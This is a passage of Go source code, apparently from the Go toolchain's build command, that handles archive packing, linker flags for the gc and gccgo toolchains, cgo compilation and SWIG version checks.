verify. if !buildN { if _, err := os.Stat(absAfile); err != nil { fatalf("os.Stat of archive file failed: %v", err) } } if buildN || buildX { cmdline := stringList("pack", "r", absAfile, absOfiles) b.showcmd(p.Dir, "%s # internal", joinUnambiguously(cmdline)) } if buildN { return nil } if err := packInternal(b, absAfile, absOfiles); err != nil { b.showOutput(p.Dir, p.ImportPath, err.Error()+"\n") return errPrintedOutput } return nil } func packInternal(b *builder, afile string, ofiles []string) error { dst, err := os.OpenFile(afile, os.O_WRONLY|os.O_APPEND, 0) if err != nil { return err } defer dst.Close() // only for error returns or panics w := bufio.NewWriter(dst) for _, ofile := range ofiles { src, err := os.Open(ofile) if err != nil { return err } fi, err := src.Stat() if err != nil { src.Close() return err } // Note: Not using %-16.16s format because we care // about bytes, not runes. name := fi.Name() if len(name) > 16 { name = name[:16] } else { name += strings.Repeat(" ", 16-len(name)) } size := fi.Size() fmt.Fprintf(w, "%s%-12d%-6d%-6d%-8o%-10d`\n", name, 0, 0, 0, 0644, size) n, err := io.Copy(w, src) src.Close() if err == nil && n < size { err = io.ErrUnexpectedEOF } else if err == nil && n > size { err = fmt.Errorf("file larger than size reported by stat") } if err != nil { return fmt.Errorf("copying %s to %s: %v", ofile, afile, err) } if size&1 != 0 { w.WriteByte(0) } } if err := w.Flush(); err != nil { return err } return dst.Close() } // setextld sets the appropriate linker flags for the specified compiler. func setextld(ldflags []string, compiler []string) []string { for _, f := range ldflags { if f == "-extld" || strings.HasPrefix(f, "-extld=") { // don't override -extld if supplied return ldflags } } ldflags = append(ldflags, "-extld="+compiler[0]) if len(compiler) > 1 { extldflags := false add := strings.Join(compiler[1:], " ") for i, f := range ldflags { if f == "-extldflags" && i+1 < len(ldflags) { ldflags[i+1] = add + " " + ldflags[i+1] extldflags = true break } else if strings.HasPrefix(f, "-extldflags=") { ldflags[i] = "-extldflags=" + add + " " + ldflags[i][len("-extldflags="):] extldflags = true break } } if !extldflags { ldflags = append(ldflags, "-extldflags="+add) } } return ldflags } func (gcToolchain) ld(b *builder, root *action, out string, allactions []*action, mainpkg string, ofiles []string) error { importArgs := b.includeArgs("-L", allactions) cxx := len(root.p.CXXFiles) > 0 || len(root.p.SwigCXXFiles) > 0 for _, a := range allactions { if a.p != nil && (len(a.p.CXXFiles) > 0 || len(a.p.SwigCXXFiles) > 0) { cxx = true } } var ldflags []string if buildContext.InstallSuffix != "" { ldflags = append(ldflags, "-installsuffix", buildContext.InstallSuffix) } if root.p.omitDWARF { ldflags = append(ldflags, "-w") } // If the user has not specified the -extld option, then specify the // appropriate linker. In case of C++ code, use the compiler named // by the CXX environment variable or defaultCXX if CXX is not set. // Else, use the CC environment variable and defaultCC as fallback. var compiler []string if cxx { compiler = envList("CXX", defaultCXX) } else { compiler = envList("CC", defaultCC) } ldflags = setextld(ldflags, compiler) ldflags = append(ldflags, "-buildmode="+ldBuildmode) if root.p.buildID != "" { ldflags = append(ldflags, "-buildid="+root.p.buildID) } ldflags = append(ldflags, buildLdflags...) // On OS X when using external linking to build a shared library, // the argument passed here to -o ends up recorded in the final // shared library in the LC_ID_DYLIB load command. // To avoid putting the temporary output directory name there // (and making the resulting shared library useless), // run the link in the output directory so that -o can name // just the final path element. dir := "." if goos == "darwin" && buildBuildmode == "c-shared" { dir, out = filepath.Split(out) } return b.run(dir, root.p.ImportPath, nil, buildToolExec, tool("link"), "-o", out, importArgs, ldflags, mainpkg) } func (gcToolchain) ldShared(b *builder, toplevelactions []*action, out string, allactions []*action) error { importArgs := b.includeArgs("-L", allactions) ldflags := []string{"-installsuffix", buildContext.InstallSuffix} ldflags = append(ldflags, "-buildmode=shared") ldflags = append(ldflags, buildLdflags...) cxx := false for _, a := range allactions { if a.p != nil && (len(a.p.CXXFiles) > 0 || len(a.p.SwigCXXFiles) > 0) { cxx = true } } // If the user has not specified the -extld option, then specify the // appropriate linker. In case of C++ code, use the compiler named // by the CXX environment variable or defaultCXX if CXX is not set. // Else, use the CC environment variable and defaultCC as fallback. var compiler []string if cxx { compiler = envList("CXX", defaultCXX) } else { compiler = envList("CC", defaultCC) } ldflags = setextld(ldflags, compiler) for _, d := range toplevelactions { if !strings.HasSuffix(d.target, ".a") { // omit unsafe etc and actions for other shared libraries continue } ldflags = append(ldflags, d.p.ImportPath+"="+d.target) } return b.run(".", out, nil, buildToolExec, tool("link"), "-o", out, importArgs, ldflags) } func (gcToolchain) cc(b *builder, p *Package, objdir, ofile, cfile string) error { return fmt.Errorf("%s: C source files not supported without cgo", mkAbs(p.Dir, cfile)) } // The Gccgo toolchain. type gccgoToolchain struct{} var gccgoName, gccgoBin string func init() { gccgoName = os.Getenv("GCCGO") if gccgoName == "" { gccgoName = "gccgo" } gccgoBin, _ = exec.LookPath(gccgoName) } func (gccgoToolchain) compiler() string { return gccgoBin } func (gccgoToolchain) linker() string { return gccgoBin } func (tools gccgoToolchain) gc(b *builder, p *Package, archive, obj string, asmhdr bool, importArgs []string, gofiles []string) (ofile string, output []byte, err error) { out := "_go_.o" ofile = obj + out gcargs := []string{"-g"} gcargs = append(gcargs, b.gccArchArgs()...) if pkgpath := gccgoPkgpath(p); pkgpath != "" { gcargs = append(gcargs, "-fgo-pkgpath="+pkgpath) } if p.localPrefix != "" { gcargs = append(gcargs, "-fgo-relative-import-path="+p.localPrefix) } args := stringList(tools.compiler(), importArgs, "-c", gcargs, "-o", ofile, buildGccgoflags) for _, f := range gofiles { args = append(args, mkAbs(p.Dir, f)) } output, err = b.runOut(p.Dir, p.ImportPath, nil, args) return ofile, output, err } func (tools gccgoToolchain) asm(b *builder, p *Package, obj, ofile, sfile string) error { sfile = mkAbs(p.Dir, sfile) defs := []string{"-D", "GOOS_" + goos, "-D", "GOARCH_" + goarch} if pkgpath := gccgoCleanPkgpath(p); pkgpath != "" { defs = append(defs, `-D`, `GOPKGPATH=`+pkgpath) } defs = tools.maybePIC(defs) defs = append(defs, b.gccArchArgs()...) return b.run(p.Dir, p.ImportPath, nil, tools.compiler(), "-xassembler-with-cpp", "-I", obj, "-c", "-o", ofile, defs, sfile) } func (gccgoToolchain) pkgpath(basedir string, p *Package) string { end := filepath.FromSlash(p.ImportPath + ".a") afile := filepath.Join(basedir, end) // add "lib" to the final element return filepath.Join(filepath.Dir(afile), "lib"+filepath.Base(afile)) } func (gccgoToolchain) pack(b *builder, p *Package, objDir, afile string, ofiles []string) error { var absOfiles []string for _, f := range ofiles { absOfiles = append(absOfiles, mkAbs(objDir, f)) } return b.run(p.Dir, p.ImportPath, nil, "ar", "rc", mkAbs(objDir, afile), absOfiles) } func (tools gccgoToolchain) ld(b *builder, root *action, out string, allactions []*action, mainpkg string, ofiles []string) error { // gccgo needs explicit linking with all package dependencies, // and all LDFLAGS from cgo dependencies. apackagePathsSeen := make(map[string]bool) afiles := []string{} shlibs := []string{} ldflags := b.gccArchArgs() cgoldflags := []string{} usesCgo := false cxx := len(root.p.CXXFiles) > 0 || len(root.p.SwigCXXFiles) > 0 objc := len(root.p.MFiles) > 0 fortran := len(root.p.FFiles) > 0 readCgoFlags := func(flagsFile string) error { flags, err := ioutil.ReadFile(flagsFile) if err != nil { return err } const ldflagsPrefix = "_CGO_LDFLAGS=" for _, line := range strings.Split(string(flags), "\n") { if strings.HasPrefix(line, ldflagsPrefix) { newFlags := strings.Fields(line[len(ldflagsPrefix):]) for _, flag := range newFlags { // Every _cgo_flags file has -g and -O2 in _CGO_LDFLAGS // but they don't mean anything to the linker so filter // them out. if flag != "-g" && !strings.HasPrefix(flag, "-O") { cgoldflags = append(cgoldflags, flag) } } } } return nil } readAndRemoveCgoFlags := func(archive string) (string, error) { newa, err := ioutil.TempFile(b.work, filepath.Base(archive)) if err != nil { return "", err } olda, err := os.Open(archive) if err != nil { return "", err } _, err = io.Copy(newa, olda) if err != nil { return "", err } err = olda.Close() if err != nil { return "", err } err = newa.Close() if err != nil { return "", err } newarchive := newa.Name() err = b.run(b.work, root.p.ImportPath, nil, "ar", "x", newarchive, "_cgo_flags") if err != nil { return "", err } err = b.run(".", root.p.ImportPath, nil, "ar", "d", newarchive, "_cgo_flags") if err != nil { return "", err } err = readCgoFlags(filepath.Join(b.work, "_cgo_flags")) if err != nil { return "", err } return newarchive, nil } actionsSeen := make(map[*action]bool) // Make a pre-order depth-first traversal of the action graph, taking note of // whether a shared library action has been seen on the way to an action (the // construction of the graph means that if any path to a node passes through // a shared library action, they all do). var walk func(a *action, seenShlib bool) var err error walk = func(a *action, seenShlib bool) { if actionsSeen[a] { return } actionsSeen[a] = true if a.p != nil && !seenShlib { if a.p.Standard { return } // We record the target of the first time we see a .a file // for a package to make sure that we prefer the 'install' // rather than the 'build' location (which may not exist any // more). We still need to traverse the dependencies of the // build action though so saying // if apackagePathsSeen[a.p.ImportPath] { return } // doesn't work. if !apackagePathsSeen[a.p.ImportPath] { apackagePathsSeen[a.p.ImportPath] = true target := a.target if len(a.p.CgoFiles) > 0 { target, err = readAndRemoveCgoFlags(target) if err != nil { return } } afiles = append(afiles, target) } } if strings.HasSuffix(a.target, ".so") { shlibs = append(shlibs, a.target) seenShlib = true } for _, a1 := range a.deps { walk(a1, seenShlib) if err != nil { return } } } for _, a1 := range root.deps { walk(a1, false) if err != nil { return err } } for _, a := range allactions { // Gather CgoLDFLAGS, but not from standard packages. // The go tool can dig up runtime/cgo from GOROOT and // think that it should use its CgoLDFLAGS, but gccgo // doesn't use runtime/cgo. if a.p == nil { continue } if !a.p.Standard { cgoldflags = append(cgoldflags, a.p.CgoLDFLAGS...) } if len(a.p.CgoFiles) > 0 { usesCgo = true } if a.p.usesSwig() { usesCgo = true } if len(a.p.CXXFiles) > 0 || len(a.p.SwigCXXFiles) > 0 { cxx = true } if len(a.p.MFiles) > 0 { objc = true } if len(a.p.FFiles) > 0 { fortran = true } } for i, o := range ofiles { if filepath.Base(o) == "_cgo_flags" { readCgoFlags(o) ofiles = append(ofiles[:i], ofiles[i+1:]...) break } } ldflags = append(ldflags, "-Wl,--whole-archive") ldflags = append(ldflags, afiles...) ldflags = append(ldflags, "-Wl,--no-whole-archive") ldflags = append(ldflags, cgoldflags...) ldflags = append(ldflags, envList("CGO_LDFLAGS", "")...) ldflags = append(ldflags, root.p.CgoLDFLAGS...) ldflags = stringList("-Wl,-(", ldflags, "-Wl,-)") for _, shlib := range shlibs { ldflags = append( ldflags, "-L"+filepath.Dir(shlib), "-Wl,-rpath="+filepath.Dir(shlib), "-l"+strings.TrimSuffix( strings.TrimPrefix(filepath.Base(shlib), "lib"), ".so")) } var realOut string switch ldBuildmode { case "exe": if usesCgo && goos == "linux" { ldflags = append(ldflags, "-Wl,-E") } case "c-archive": // Link the Go files into a single .o, and also link // in -lgolibbegin. // // We need to use --whole-archive with -lgolibbegin // because it doesn't define any symbols that will // cause the contents to be pulled in; it's just // initialization code. // // The user remains responsible for linking against // -lgo -lpthread -lm in the final link. We can't use // -r to pick them up because we can't combine // split-stack and non-split-stack code in a single -r // link, and libgo picks up non-split-stack code from // libffi. ldflags = append(ldflags, "-Wl,-r", "-nostdlib", "-Wl,--whole-archive", "-lgolibbegin", "-Wl,--no-whole-archive") if b.gccSupportsNoPie() { ldflags = append(ldflags, "-no-pie") } // We are creating an object file, so we don't want a build ID. ldflags = b.disableBuildID(ldflags) realOut = out out = out + ".o" case "c-shared": ldflags = append(ldflags, "-shared", "-nostdlib", "-Wl,--whole-archive", "-lgolibbegin", "-Wl,--no-whole-archive", "-lgo", "-lgcc_s", "-lgcc", "-lc", "-lgcc") default: fatalf("-buildmode=%s not supported for gccgo", ldBuildmode) } switch ldBuildmode { case "exe", "c-shared": if cxx { ldflags = append(ldflags, "-lstdc++") } if objc { ldflags = append(ldflags, "-lobjc") } if fortran { fc := os.Getenv("FC") if fc == "" { fc = "gfortran" } // support gfortran out of the box and let others pass the correct link options // via CGO_LDFLAGS if strings.Contains(fc, "gfortran") { ldflags = append(ldflags, "-lgfortran") } } } if err := b.run(".", root.p.ImportPath, nil, tools.linker(), "-o", out, ofiles, ldflags, buildGccgoflags); err != nil { return err } switch ldBuildmode { case "c-archive": if err := b.run(".", root.p.ImportPath, nil, "ar", "rc", realOut, out); err != nil { return err } } return nil } func (tools gccgoToolchain) ldShared(b *builder, toplevelactions []*action, out string, allactions []*action) error { args := []string{"-o", out, "-shared", "-nostdlib", "-zdefs", "-Wl,--whole-archive"} for _, a := range toplevelactions { args = append(args, a.target) } args = append(args, "-Wl,--no-whole-archive", "-shared", "-nostdlib", "-lgo", "-lgcc_s", "-lgcc", "-lc") shlibs := []string{} for _, a := range allactions { if strings.HasSuffix(a.target, ".so") { shlibs = append(shlibs, a.target) } } for _, shlib := range shlibs { args = append( args, "-L"+filepath.Dir(shlib), "-Wl,-rpath="+filepath.Dir(shlib), "-l"+strings.TrimSuffix( strings.TrimPrefix(filepath.Base(shlib), "lib"), ".so")) } return b.run(".", out, nil, tools.linker(), args, buildGccgoflags) } func (tools gccgoToolchain) cc(b *builder, p *Package, objdir, ofile, cfile string) error { inc := filepath.Join(goroot, "pkg", "include") cfile = mkAbs(p.Dir, cfile) defs := []string{"-D", "GOOS_" + goos, "-D", "GOARCH_" + goarch} defs = append(defs, b.gccArchArgs()...) if pkgpath := gccgoCleanPkgpath(p); pkgpath != "" { defs = append(defs, `-D`, `GOPKGPATH="`+pkgpath+`"`) } switch goarch { case "386", "amd64": defs = append(defs, "-fsplit-stack") } defs = tools.maybePIC(defs) return b.run(p.Dir, p.ImportPath, nil, envList("CC", defaultCC), "-Wall", "-g", "-I", objdir, "-I", inc, "-o", ofile, defs, "-c", cfile) } // maybePIC adds -fPIC to the list of arguments if needed. func (tools gccgoToolchain) maybePIC(args []string) []string { switch buildBuildmode { case "c-shared", "shared": args = append(args, "-fPIC") } return args } func gccgoPkgpath(p *Package) string { if p.build.IsCommand() && !p.forceLibrary { return "" } return p.ImportPath } func gccgoCleanPkgpath(p *Package) string { clean := func(r rune) rune { switch { case 'A' <= r && r <= 'Z', 'a' <= r && r <= 'z', '0' <= r && r <= '9': return r } return '_' } return strings.Map(clean, gccgoPkgpath(p)) } // gcc runs the gcc C compiler to create an object from a single C file. func (b *builder) gcc(p *Package, out string, flags []string, cfile string) error { return b.ccompile(p, out, flags, cfile, b.gccCmd(p.Dir)) } // gxx runs the g++ C++ compiler to create an object from a single C++ file. func (b *builder) gxx(p *Package, out string, flags []string, cxxfile string) error { return b.ccompile(p, out, flags, cxxfile, b.gxxCmd(p.Dir)) } // gfortran runs the gfortran Fortran compiler to create an object from a single Fortran file. func (b *builder) gfortran(p *Package, out string, flags []string, ffile string) error { return b.ccompile(p, out, flags, ffile, b.gfortranCmd(p.Dir)) } // ccompile runs the given C or C++ compiler and creates an object from a single source file. func (b *builder) ccompile(p *Package, out string, flags []string, file string, compiler []string) error { file = mkAbs(p.Dir, file) return b.run(p.Dir, p.ImportPath, nil, compiler, flags, "-o", out, "-c", file) } // gccld runs the gcc linker to create an executable from a set of object files. func (b *builder) gccld(p *Package, out string, flags []string, obj []string) error { var cmd []string if len(p.CXXFiles) > 0 || len(p.SwigCXXFiles) > 0 { cmd = b.gxxCmd(p.Dir) } else { cmd = b.gccCmd(p.Dir) } return b.run(p.Dir, p.ImportPath, nil, cmd, "-o", out, obj, flags) } // gccCmd returns a gcc command line prefix // defaultCC is defined in zdefaultcc.go, written by cmd/dist. func (b *builder) gccCmd(objdir string) []string { return b.ccompilerCmd("CC", defaultCC, objdir) } // gxxCmd returns a g++ command line prefix // defaultCXX is defined in zdefaultcc.go, written by cmd/dist. func (b *builder) gxxCmd(objdir string) []string { return b.ccompilerCmd("CXX", defaultCXX, objdir) } // gfortranCmd returns a gfortran command line prefix. func (b *builder) gfortranCmd(objdir string) []string { return b.ccompilerCmd("FC", "gfortran", objdir) } // ccompilerCmd returns a command line prefix for the given environment // variable and using the default command when the variable is empty. func (b *builder) ccompilerCmd(envvar, defcmd, objdir string) []string { // NOTE: env.go's mkEnv knows that the first three // strings returned are "gcc", "-I", objdir (and cuts them off). compiler := envList(envvar, defcmd) a := []string{compiler[0], "-I", objdir} a = append(a, compiler[1:]...) // Definitely want -fPIC but on Windows gcc complains // "-fPIC ignored for target (all code is position independent)" if goos != "windows" { a = append(a, "-fPIC") } a = append(a, b.gccArchArgs()...) // gcc-4.5 and beyond require explicit "-pthread" flag // for multithreading with pthread library. if buildContext.CgoEnabled { switch goos { case "windows": a = append(a, "-mthreads") default: a = append(a, "-pthread") } } if strings.Contains(a[0], "clang") { // disable ASCII art in clang errors, if possible a = append(a, "-fno-caret-diagnostics") // clang is too smart about command-line arguments a = append(a, "-Qunused-arguments") } // disable word wrapping in error messages a = append(a, "-fmessage-length=0") // Tell gcc not to include the work directory in object files. if b.gccSupportsFlag("-fdebug-prefix-map=a=b") { a = append(a, "-fdebug-prefix-map="+b.work+"=/tmp/go-build") } // Tell gcc not to include flags in object files, which defeats the // point of -fdebug-prefix-map above. if b.gccSupportsFlag("-gno-record-gcc-switches") { a = append(a, "-gno-record-gcc-switches") } // On OS X, some of the compilers behave as if -fno-common // is always set, and the Mach-O linker in 6l/8l assumes this. // See https://golang.org/issue/3253. if goos == "darwin" { a = append(a, "-fno-common") } return a } // On systems with PIE (position independent executables) enabled by default, // -no-pie must be passed when doing a partial link with -Wl,-r. But -no-pie is // not supported by all compilers. func (b *builder) gccSupportsNoPie() bool { return b.gccSupportsFlag("-no-pie") } // gccSupportsFlag checks to see if the compiler supports a flag. func (b *builder) gccSupportsFlag(flag string) bool { b.exec.Lock() defer b.exec.Unlock() if b, ok := b.flagCache[flag]; ok { return b } if b.flagCache == nil { src := filepath.Join(b.work, "trivial.c") if err := ioutil.WriteFile(src, []byte{}, 0666); err != nil { return false } b.flagCache = make(map[string]bool) } cmdArgs := append(envList("CC", defaultCC), flag, "-c", "trivial.c") if buildN || buildX { b.showcmd(b.work, "%s", joinUnambiguously(cmdArgs)) if buildN { return false } } cmd := exec.Command(cmdArgs[0], cmdArgs[1:]...) cmd.Dir = b.work cmd.Env = envForDir(cmd.Dir, os.Environ()) out, err := cmd.CombinedOutput() supported := err == nil && !bytes.Contains(out, []byte("unrecognized")) b.flagCache[flag] = supported return supported } // gccArchArgs returns arguments to pass to gcc based on the architecture. func (b *builder) gccArchArgs() []string { switch goarch { case "386": return []string{"-m32"} case "amd64", "amd64p32": return []string{"-m64"} case "arm": return []string{"-marm"} // not thumb case "s390x": return []string{"-m64", "-march=z196"} case "mips64", "mips64le": return []string{"-mabi=64"} } return nil } // envList returns the value of the given environment variable broken // into fields, using the default value when the variable is empty. func envList(key, def string) []string { v := os.Getenv(key) if v == "" { v = def } return strings.Fields(v) } // Return the flags to use when invoking the C, C++ or Fortran compilers, or cgo. func (b *builder) cflags(p *Package, def bool) (cppflags, cflags, cxxflags, fflags, ldflags []string) { var defaults string if def { defaults = "-g -O2" } cppflags = stringList(envList("CGO_CPPFLAGS", ""), p.CgoCPPFLAGS) cflags = stringList(envList("CGO_CFLAGS", defaults), p.CgoCFLAGS) cxxflags = stringList(envList("CGO_CXXFLAGS", defaults), p.CgoCXXFLAGS) fflags = stringList(envList("CGO_FFLAGS", defaults), p.CgoFFLAGS) ldflags = stringList(envList("CGO_LDFLAGS", defaults), p.CgoLDFLAGS) return } var cgoRe = regexp.MustCompile(`[/\\:]`) func (b *builder) cgo(p *Package, cgoExe, obj string, pcCFLAGS, pcLDFLAGS, cgofiles, gccfiles, gxxfiles, mfiles, ffiles []string) (outGo, outObj []string, err error) { cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, cgoFFLAGS, cgoLDFLAGS := b.cflags(p, true) _, cgoexeCFLAGS, _, _, _ := b.cflags(p, false) cgoCPPFLAGS = append(cgoCPPFLAGS, pcCFLAGS...) cgoLDFLAGS = append(cgoLDFLAGS, pcLDFLAGS...) // If we are compiling Objective-C code, then we need to link against libobjc if len(mfiles) > 0 { cgoLDFLAGS = append(cgoLDFLAGS, "-lobjc") } // Likewise for Fortran, except there are many Fortran compilers. // Support gfortran out of the box and let others pass the correct link options // via CGO_LDFLAGS if len(ffiles) > 0 { fc := os.Getenv("FC") if fc == "" { fc = "gfortran" } if strings.Contains(fc, "gfortran") { cgoLDFLAGS = append(cgoLDFLAGS, "-lgfortran") } } if buildMSan && p.ImportPath != "runtime/cgo" { cgoCFLAGS = append([]string{"-fsanitize=memory"}, cgoCFLAGS...) cgoLDFLAGS = append([]string{"-fsanitize=memory"}, cgoLDFLAGS...) } // Allows including _cgo_export.h from .[ch] files in the package. cgoCPPFLAGS = append(cgoCPPFLAGS, "-I", obj) // cgo // TODO: CGO_FLAGS? gofiles := []string{obj + "_cgo_gotypes.go"} cfiles := []string{"_cgo_main.c", "_cgo_export.c"} for _, fn := range cgofiles { f := cgoRe.ReplaceAllString(fn[:len(fn)-2], "_") gofiles = append(gofiles, obj+f+"cgo1.go") cfiles = append(cfiles, f+"cgo2.c") } defunC := obj + "_cgo_defun.c" cgoflags := []string{} // TODO: make cgo not depend on $GOARCH? if p.Standard && p.ImportPath == "runtime/cgo" { cgoflags = append(cgoflags, "-import_runtime_cgo=false") } if p.Standard && (p.ImportPath == "runtime/race" || p.ImportPath == "runtime/msan" || p.ImportPath == "runtime/cgo") { cgoflags = append(cgoflags, "-import_syscall=false") } // Update $CGO_LDFLAGS with p.CgoLDFLAGS. var cgoenv []string if len(cgoLDFLAGS) > 0 { flags := make([]string, len(cgoLDFLAGS)) for i, f := range cgoLDFLAGS { flags[i] = strconv.Quote(f) } cgoenv = []string{"CGO_LDFLAGS=" + strings.Join(flags, " ")} } if _, ok := buildToolchain.(gccgoToolchain); ok { switch goarch { case "386", "amd64": cgoCFLAGS = append(cgoCFLAGS, "-fsplit-stack") } cgoflags = append(cgoflags, "-gccgo") if pkgpath := gccgoPkgpath(p); pkgpath != "" { cgoflags = append(cgoflags, "-gccgopkgpath="+pkgpath) } } switch buildBuildmode { case "c-archive", "c-shared": // Tell cgo that if there are any exported functions // it should generate a header file that C code can // #include. cgoflags = append(cgoflags, "-exportheader="+obj+"_cgo_install.h") } if err := b.run(p.Dir, p.ImportPath, cgoenv, buildToolExec, cgoExe, "-objdir", obj, "-importpath", p.ImportPath, cgoflags, "--", cgoCPPFLAGS, cgoexeCFLAGS, cgofiles); err != nil { return nil, nil, err } outGo = append(outGo, gofiles...) // cc _cgo_defun.c _, gccgo := buildToolchain.(gccgoToolchain) if gccgo { defunObj := obj + "_cgo_defun.o" if err := buildToolchain.cc(b, p, obj, defunObj, defunC); err != nil { return nil, nil, err } outObj = append(outObj, defunObj) } // gcc var linkobj []string var bareLDFLAGS []string // When linking relocatable objects, various flags need to be // filtered out as they are inapplicable and can cause some linkers // to fail. for i := 0; i < len(cgoLDFLAGS); i++ { f := cgoLDFLAGS[i] switch { // skip "-lc" or "-l somelib" case strings.HasPrefix(f, "-l"): if f == "-l" { i++ } // skip "-framework X" on Darwin case goos == "darwin" && f == "-framework": i++ // skip "*.{dylib,so,dll}" case strings.HasSuffix(f, ".dylib"), strings.HasSuffix(f, ".so"), strings.HasSuffix(f, ".dll"): // Remove any -fsanitize=foo flags. // Otherwise the compiler driver thinks that we are doing final link // and links sanitizer runtime into the object file. But we are not doing // the final link, we will link the resulting object file again. And // so the program ends up with two copies of sanitizer runtime. // See issue 8788 for details. case strings.HasPrefix(f, "-fsanitize="): continue // runpath flags not applicable unless building a shared // object or executable; see issue 12115 for details. This // is necessary as Go currently does not offer a way to // specify the set of LDFLAGS that only apply to shared // objects. case strings.HasPrefix(f, "-Wl,-rpath"): if f == "-Wl,-rpath" || f == "-Wl,-rpath-link" { // Skip following argument to -rpath* too. i++ } default: bareLDFLAGS = append(bareLDFLAGS, f) } } var staticLibs []string if goos == "windows" { // libmingw32 and libmingwex have some inter-dependencies, // so must use linker groups. staticLibs = []string{"-Wl,--start-group", "-lmingwex", "-lmingw32", "-Wl,--end-group"} } cflags := stringList(cgoCPPFLAGS, cgoCFLAGS) for _, cfile := range cfiles { ofile := obj + cfile[:len(cfile)-1] + "o" if err := b.gcc(p, ofile, cflags, obj+cfile); err != nil { return nil, nil, err } linkobj = append(linkobj, ofile) if !strings.HasSuffix(ofile, "_cgo_main.o") { outObj = append(outObj, ofile) } } for _, file := range gccfiles { ofile := obj + cgoRe.ReplaceAllString(file[:len(file)-1], "_") + "o" if err := b.gcc(p, ofile, cflags, file); err != nil { return nil, nil, err } linkobj = append(linkobj, ofile) outObj = append(outObj, ofile) } cxxflags := stringList(cgoCPPFLAGS, cgoCXXFLAGS) for _, file := range gxxfiles { // Append .o to the file, just in case the pkg has file.c and file.cpp ofile := obj + cgoRe.ReplaceAllString(file, "_") + ".o" if err := b.gxx(p, ofile, cxxflags, file); err != nil { return nil, nil, err } linkobj = append(linkobj, ofile) outObj = append(outObj, ofile) } for _, file := range mfiles { // Append .o to the file, just in case the pkg has file.c and file.m ofile := obj + cgoRe.ReplaceAllString(file, "_") + ".o" if err := b.gcc(p, ofile, cflags, file); err != nil { return nil, nil, err } linkobj = append(linkobj, ofile) outObj = append(outObj, ofile) } fflags := stringList(cgoCPPFLAGS, cgoFFLAGS) for _, file := range ffiles { // Append .o to the file, just in case the pkg has file.c and file.f ofile := obj + cgoRe.ReplaceAllString(file, "_") + ".o" if err := b.gfortran(p, ofile, fflags, file); err != nil { return nil, nil, err } linkobj = append(linkobj, ofile) outObj = append(outObj, ofile) } linkobj = append(linkobj, p.SysoFiles...) dynobj := obj + "_cgo_.o" pie := (goarch == "arm" && goos == "linux") || goos == "android" if pie { // we need to use -pie for Linux/ARM to get accurate imported sym cgoLDFLAGS = append(cgoLDFLAGS, "-pie") } if err := b.gccld(p, dynobj, cgoLDFLAGS, linkobj); err != nil { return nil, nil, err } if pie { // but we don't need -pie for normal cgo programs cgoLDFLAGS = cgoLDFLAGS[0 : len(cgoLDFLAGS)-1] } if _, ok := buildToolchain.(gccgoToolchain); ok { // we don't use dynimport when using gccgo. return outGo, outObj, nil } // cgo -dynimport importGo := obj + "_cgo_import.go" cgoflags = []string{} if p.Standard && p.ImportPath == "runtime/cgo" { cgoflags = append(cgoflags, "-dynlinker") // record path to dynamic linker } if err := b.run(p.Dir, p.ImportPath, nil, buildToolExec, cgoExe, "-objdir", obj, "-dynpackage", p.Name, "-dynimport", dynobj, "-dynout", importGo, cgoflags); err != nil { return nil, nil, err } outGo = append(outGo, importGo) ofile := obj + "_all.o" var gccObjs, nonGccObjs []string for _, f := range outObj { if strings.HasSuffix(f, ".o") { gccObjs = append(gccObjs, f) } else { nonGccObjs = append(nonGccObjs, f) } } ldflags := stringList(bareLDFLAGS, "-Wl,-r", "-nostdlib", staticLibs) if b.gccSupportsNoPie() { ldflags = append(ldflags, "-no-pie") } // We are creating an object file, so we don't want a build ID. ldflags = b.disableBuildID(ldflags) if err := b.gccld(p, ofile, ldflags, gccObjs); err != nil { return nil, nil, err } // NOTE(rsc): The importObj is a 5c/6c/8c object and on Windows // must be processed before the gcc-generated objects. // Put it first. https://golang.org/issue/2601 outObj = stringList(nonGccObjs, ofile) return outGo, outObj, nil } // Run SWIG on all SWIG input files. // TODO: Don't build a shared library, once SWIG emits the necessary // pragmas for external linking. func (b *builder) swig(p *Package, obj string, pcCFLAGS []string) (outGo, outC, outCXX []string, err error) { if err := b.swigVersionCheck(); err != nil { return nil, nil, nil, err } intgosize, err := b.swigIntSize(obj) if err != nil { return nil, nil, nil, err } for _, f := range p.SwigFiles { goFile, cFile, err := b.swigOne(p, f, obj, pcCFLAGS, false, intgosize) if err != nil { return nil, nil, nil, err } if goFile != "" { outGo = append(outGo, goFile) } if cFile != "" { outC = append(outC, cFile) } } for _, f := range p.SwigCXXFiles { goFile, cxxFile, err := b.swigOne(p, f, obj, pcCFLAGS, true, intgosize) if err != nil { return nil, nil, nil, err } if goFile != "" { outGo = append(outGo, goFile) } if cxxFile != "" { outCXX = append(outCXX, cxxFile) } } return outGo, outC, outCXX, nil } // Make sure SWIG is new enough. var ( swigCheckOnce sync.Once swigCheck error ) func (b *builder) swigDoVersionCheck() error { out, err := b.runOut("", "", nil, "swig", "-version") if err != nil { return err } re := regexp.MustCompile(`[vV]ersion +([\d]+)([.][\d]+)?([.][\d]+)?`) matches := re.FindSubmatch(out) if matches == nil { // Can't find version number; hope for the best. return nil } major, err := strconv.Atoi(string(matches[1])) if err != nil { // Can't find version number; hope for the best. return nil } const errmsg = "must have SWIG version >= 3.0.6" if major < 3 { return errors.New(errmsg) } if major > 3 { // 4.0 or later return nil } // We have SWIG version 3.x. if len(matches[2]) > 0 { minor, err := strconv.Atoi(string(matches[2][1:])) if err != nil { return nil } if minor > 0 { // 3.1 or later return nil } } // We have SWIG version 3.0.x. if len(matches[3]) > 0 { patch, err := strconv.Atoi(string(matches[3][1:])) if err != nil { return nil } if patch < 6 { // Before 3.0.6. return errors.New(errmsg) } } return nil } func (b *builder) swigVersionCheck() error { swigCheckOnce.Do(func() { swigCheck = b.swigDoVersionCheck() }) return swigCheck } // Find the value to pass for the -intgosize option to swig. var ( swigIntSizeOnce sync.Once swigIntSize string swigIntSizeError error ) // This code fails to build if sizeof(int) <= 32 const swigIntSizeCode = ` package main const i int = 1 << 32 ` // Determine the size of int on the target system for the -intgosize option // of swig >= 2.0.9. Run only once. func (b *builder) swigDoIntSize(obj string) (intsize string, err error) { if buildN { return "$INTBITS", nil } src := filepath.Join(b.work, "swig_intsize.go") if err = ioutil.WriteFile(src, []byte(swigIntSizeCode), 0666); err != nil { return } srcs := []string{src} p := goFilesPackage(srcs) if _, _, e := buildToolchain.gc(b, p, "", obj, false, nil, srcs); e != nil { return "32", nil } return "64", nil } // Determine the size of int on the target system for the -intgosize option // of swig >= 2.0.9. func (b *builder) swigIntSize(obj string) (intsize string, err 